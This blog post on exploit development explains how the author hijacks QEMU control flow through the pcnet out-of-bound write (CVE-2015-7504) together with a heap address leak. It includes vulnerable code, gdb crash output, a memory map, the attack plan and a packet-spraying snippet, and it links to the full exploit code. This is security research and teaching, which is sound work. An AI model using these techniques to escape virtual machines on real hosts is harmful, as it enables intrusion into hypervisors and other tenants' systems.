Introduction
In the original post on QEMU escape, the author only introduces the details about the out-of-bound overflow (CVE-2015-7504) in QEMU. However, it adds no details on how to hijack the control flow. In this post, I will give more details on how I hijack the control to 0x414141414141 as shown in cover image.
Vulnerabiity Analysis
There exists a 4-byte out-of-bound write overflow in the pcnet_receive function.
uint8_t *src = s->buffer; if (!s->looptest) { memcpy(src, buf, size); /* no need to compute the CRC */ src[size] = 0; src[size + 1] = 0; src[size + 2] = 0; src[size + 3] = 0; size += 4; } else if (s->looptest == PCNET_LOOPTEST_CRC || !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) { uint32_t fcs = ~0; uint8_t *p = src; while (p != &src[size]) CRC(fcs, *p++); *(uint32_t *)p = htonl(fcs); size += 4; } else { uint32_t fcs = ~0; uint8_t *p = src; while (p != &src[size-4]) CRC(fcs, *p++); crc_err = (*(uint32_t *)p != htonl(fcs)); }
The vulnerability exists at line 18 in the code above. Since there is no check on the size of the packer buffer, we can overflow the next 4 bytes of the target buffer if the buffer has exactly 4096 bytes.
According to the exploit provided in my github repository [2], we reproduce the crash as below. After attaching gdb to QEMU process and run the exploit, we get the crash info below
From the crash info, we can find that we can overwrite the least 4 byte the variable irq, which is located just after the victim buffer in stack.
Thread 3 "qemu-system-x86" hit Breakpoint 1, pcnet_receive (nc=0x55aaceaaa2d0, buf=0x55aacea49ba0 "RT", size_=4096) at /home/dango/Security/qemu/hw/net/pcnet.c:1082 1082 *(uint32_t *)p = htonl(fcs); $1 = 0x55aacea47910 $2 = 0x55aacea4aba0 (gdb) p/x p $3 = 0x55aacea4aba0 (gdb) x/2gx $3 0x55aacea4aba0: 0x000055aace69b2f0 0x000055aacbe8cae9 (gdb) c Continuing. [Thread 0x7fa08ad0f700 (LWP 10213) exited] Thread 3 "qemu-system-x86" received signal SIGSEGV, Segmentation fault. 0x000055aacbe37924 in qemu_set_irq (irq=0x55aadeadbeef, level=0) at /home/dango/Security/qemu/hw/core/irq.c:43 43 irq->handler(irq->opaque, irq->n, level); (gdb) x/2gx $3 0x55aacea4aba0: 0x000055aadeadbeef 0x000055aacbe8cae9 (gdb) x/10i $rip => 0x55aacbe37924 : mov 0x30(%rax),%rax 0x55aacbe37928 : mov -0x8(%rbp),%rdx 0x55aacbe3792c : mov 0x40(%rdx),%esi 0x55aacbe3792f : mov -0x8(%rbp),%rdx 0x55aacbe37933 : mov 0x38(%rdx),%rcx 0x55aacbe37937 : mov -0xc(%rbp),%edx 0x55aacbe3793a : mov %rcx,%rdi 0x55aacbe3793d : callq *%rax 0x55aacbe3793f : jmp 0x55aacbe37942 0x55aacbe37941 : nop
However, here comes the problem. With CVE-2015-7504, we can only overwrite the last four bytes of the irq. Given the process information below, we can find that irq actually is located in the heap of QEMU process (0x000055aace69b2f0). But the mapped region for physical memory of the guest machine starts at 0x7f9ffc000000. It means that it is almost impossible for us to overwrite irq to an address in mapped region for guest machine. Therefore we need to find an alternative method to hijack control flow.
Start Addr End Addr Size Offset objfile 0x55aacbbb2000 0x55aacc1a1000 0x5ef000 0x0 /home/dango/Security/qemu/bin/debug/build/x86_64-softmmu/qemu-system-x86_64 0x55aacc3a1000 0x55aacc46e000 0xcd000 0x5ef000 /home/dango/Security/qemu/bin/debug/build/x86_64-softmmu/qemu-system-x86_64 0x55aacc46e000 0x55aacc4f5000 0x87000 0x6bc000 /home/dango/Security/qemu/bin/debug/build/x86_64-softmmu/qemu-system-x86_64 0x55aacc4f5000 0x55aacc994000 0x49f000 0x0 0x55aacd192000 0x55aacec65000 0x1ad3000 0x0 [heap] 0x7f9ff79fa000 0x7f9ff8000000 0x606000 0x0 0x7f9ff8000000 0x7f9ff8021000 0x21000 0x0 0x7f9ff8021000 0x7f9ffc000000 0x3fdf000 0x0 0x7f9ffc000000 0x7fa07c000000 0x80000000 0x0
Control Flow Hijacking
Exploit Plan
As mentioned above, we cannot easily overwrite irq to an address in PHY_MEM of guest machine. But we can use some address located in heap for exploiation since the 8 most significant bytes of address in heap are the same (0x55aa). If we can somehow overwrite irq to another address in heap. whose content is under control, we can hijack control flow successfully.
In CVE-2015-7504, the most obvious heap buffer is the victim buffer in the exploit. We can easily put some crafted data in the victim buffer and overwrite irq to point to the crafted data.
As we have reaches to this point, the exploitation plan is clear. We need to leak the heap base address of the QEMU process. Then put the required data into the victim buffer and overwrite irq in the end.
Information Leakage
In our previous post, we leak the base address of QEMU text and the base address of mapped region for physical memory of guest machine with CVE-2015-5165.
In my previous post, we get the base address of the text of QEMU process by locating some function pointers read from the leaked memory. This time we take a similar method to search for addresses, which sits in the heap. Furthermore, we identify a few magic values that help me get the base address of heap.
The full code of the exploit is given in github repository [3] with result as shown below:
Hijack Control Flow
During debugging on the exploit, I find that the offset of &irq to heap base address is a fixed value and so is the victim buffer. Therefore the easiest way in this exploit is to fulfill the victim string with crafted value and trigger the out-of-bound write to make irq point to the desired address.
The full code is given on my github repository [4] and the final result is already given in the cover image.
packet_ptr = pcnet_packet; for(int j=0x10; j<0x1f8; j += 2) { *(packet_ptr + j) = 0x414141414141; *(packet_ptr + j + 1) = 0x424242424242; }
Conclusion
In this post, I give more details on hijacking control flow to an arbitrary address on my machine. To achieve this goal, I improve the source code given in [1] and successfully control the value of $rip in the end.
During the test, I took some time to test if there exists heap spray technique in QEMU escape exploitation. If attacker can adopt heap spray technique similar to browser exploitation, then there is no need to leak the base address of heap. I did not make it succeed so far. If heap spray is possible in QEMU escape, I may give another post the other day.
Reference
[1] http://www.phrack.org/papers/vm-escape-qemu-case-study.html
[2] https://github.com/dangokyo/QEMU_ESCAPE/blob/master/CVE_2015_7504_crash.c
[3] https://github.com/dangokyo/QEMU_ESCAPE/blob/master/CVE_2015_5165_leak.c
[4] https://github.com/dangokyo/QEMU_ESCAPE/blob/master/CVE_2015_7504_hijack.c